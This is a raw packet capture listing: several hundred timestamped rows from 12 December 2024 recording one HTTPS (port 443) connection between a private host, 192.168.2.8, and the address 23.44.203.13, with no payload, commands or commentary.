Dec 12, 2024 16:47:19.048796892 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.066615105 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.067169905 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.067612886 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.115400076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.127746105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128035069 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.128173113 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128242016 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128251076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128386974 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128405094 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128519058 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128531933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128545046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128631115 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128645897 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.128832102 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.145621061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145673990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145685911 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145765066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145817041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145829916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.145843029 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.146064997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.146076918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.146091938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.146224976 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.150826931 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.254112959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.254126072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.265626907 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282114983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282790899 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.282800913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282816887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282876015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282891989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282936096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282948971 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.282962084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.283090115 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.283103943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.283112049 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.283118963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.283385038 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.284388065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305469990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305519104 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305532932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305668116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305677891 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.305779934 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.313870907 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314071894 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314151049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314266920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314280987 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314302921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314316034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314337015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314449072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314475060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.314497948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314512968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.314721107 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.341598034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.341639996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.342102051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.342161894 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.342179060 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.342236042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375761032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375803947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375864983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375963926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375977993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.375989914 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376085997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376099110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376142025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376154900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376168013 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.376182079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.386173010 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.386456013 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.386792898 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.387877941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392802954 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392857075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392869949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392956018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392966032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392980099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.392999887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.393198967 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.393210888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.393224955 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.393366098 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.412211895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412252903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412267923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412328959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412339926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412360907 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412481070 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412498951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412513018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.412642002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.412667990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425199032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425245047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425257921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425286055 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425389051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425403118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425427914 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425440073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425451994 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425458908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.425595045 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.437632084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.437911034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.439752102 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.458875895 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.469502926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.472610950 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.477780104 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.477826118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.477900028 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.477950096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478032112 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478044033 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478143930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478157997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478270054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478282928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478296041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.478441000 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.478818893 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.495790958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.526359081 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.527952909 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.531559944 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.564687014 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.622456074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.658201933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.733043909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.765054941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.777704954 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784070015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784162045 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784290075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784418106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784426928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.784437895 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.790054083 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.790668011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804405928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804527998 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804615021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804630041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804636002 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.804701090 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.808218002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.848166943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.848176956 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857038975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857095957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857213020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857314110 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.857403040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857507944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.857517958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861162901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861494064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861535072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861763000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861769915 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.861804008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861816883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861913919 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861953974 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.861965895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.862081051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.862092972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.862297058 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.864193916 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.877763987 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.877830982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.877842903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.877923965 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.877937078 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.877949953 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.878185034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.878196955 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.878209114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.878221989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.878365993 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.879631996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892116070 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892165899 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892179966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892297029 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892307997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892313957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892326117 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892435074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892447948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892462015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.892551899 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.906063080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906088114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906099081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906235933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906246901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906260014 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906271935 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906456947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906470060 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906482935 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.906689882 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.919751883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.919816971 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920254946 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920311928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920322895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920391083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920454979 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920466900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920479059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920490026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.920702934 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.934156895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934242964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934254885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934334040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934345007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934356928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934367895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934505939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934518099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934529066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.934850931 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.949177980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949296951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949310064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949322939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949362993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949376106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949387074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949537992 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.949549913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.965568066 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.114783049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.121573925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.121875048 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.121984959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122092962 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122111082 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122165918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122180939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122196913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122210026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.122649908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.127959013 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.128420115 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.128619909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.128770113 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.128844976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.128860950 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129015923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129030943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129107952 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129120111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129133940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129146099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.129421949 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.133963108 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.144783020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.144862890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.144876003 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.144911051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.168929100 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.179116964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.181103945 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.182543993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.182811975 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.182845116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.182909966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.182923079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183121920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183202982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183216095 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183341980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183355093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183564901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.183854103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.184093952 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.199032068 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.199095964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.199109077 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.199120998 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.199250937 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.199263096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.217015982 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.268361092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.283344984 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.288602114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.288913012 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.288950920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.289315939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290118933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290224075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290241003 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290256023 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290442944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290458918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290467024 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.290472031 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.291266918 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.302464008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.302511930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.306616068 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.451227903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464344025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464514971 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464549065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464560032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464571953 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.464801073 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.468080044 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.484684944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489636898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489738941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489809990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489823103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489871025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.489896059 CET	51057	443	192.168.2.8	23.44.203.13
